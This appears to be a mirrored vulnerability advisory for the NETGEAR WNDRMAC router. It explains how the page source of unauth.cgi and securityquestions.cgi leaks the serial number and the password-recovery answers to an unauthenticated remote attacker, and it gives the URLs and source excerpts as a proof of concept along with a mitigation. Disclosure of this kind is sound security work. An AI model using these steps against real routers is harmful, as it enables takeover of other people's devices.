Vulners
Lucene search
NETGEAR WNDRMAC Exposure of Sensitive Information
Product. NETGEAR WNDRMAC
Platform. Hardware
Affected versions. 1.0.0.22 and below
Severity Rating. High
Impact. Exposure of sensitive information
Attack Vector. From remote without authentication
Solution Status. Currently no software update; the
vulnerable functionality can be disabled
CVE reference. CVE - not yet assigned
Details.
The NETGEAR Wireless Extreme for Mac computer and PCs (WNDRMAC)
is a N600 wireless dual-band gigabit router. The router
discloses sensitive information in the page source, if a
previous password recovery has been successfully completed,
which allows an attacker to login to the device.
Proof of Concept.
Viewing the source code of the page you are presented with when
you fail to login successfully with the administrator account
exposes the routers serial number which is required to get to the
recovery questions section.
http://x.x.x.x/unauth.cgi
<HTML><HEAD><LINK rel="stylesheet" href="/style/form.css">
<TITLE> 401 Authorization</TITLE>
<META http-equiv=content-type content='text/html; charset=UTF-8'>
<script>
function loadvalue()
{
var enable_recovery="1";
var enter_sn_again="0";
var last_error_sn="2T82195D0093D";
if( enable_recovery == "1" )
Viewing the source code of the recovery questions page allows an
attacker to view the answers to the password recovery questions.
After submitting these answers you are presented with the current
administrator credentials.
http://x.x.x.x/securityquestions.cgi
<HTML><HEAD>
<TITLE> Router Password Recovery</TITLE>
<META http-equiv=content-type content='text/html; charset=UTF-8'>
<LINK rel="stylesheet" href="/style/form.css">
<script>
var quest1_1="What was the name of the first NETGEAR product you
purchased?";
var quest1_2="What was the name of the first school you attended?";
function loadvalue()
{
var answer_again="1";
var last_error_ans1="Answer one";
var last_error_ans2="Answer two";
Solution.
Disable the password recovery option.
# 0day.today [2018-02-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 May 2012 00:00Current
7.1High risk
Vulners AI Score7.1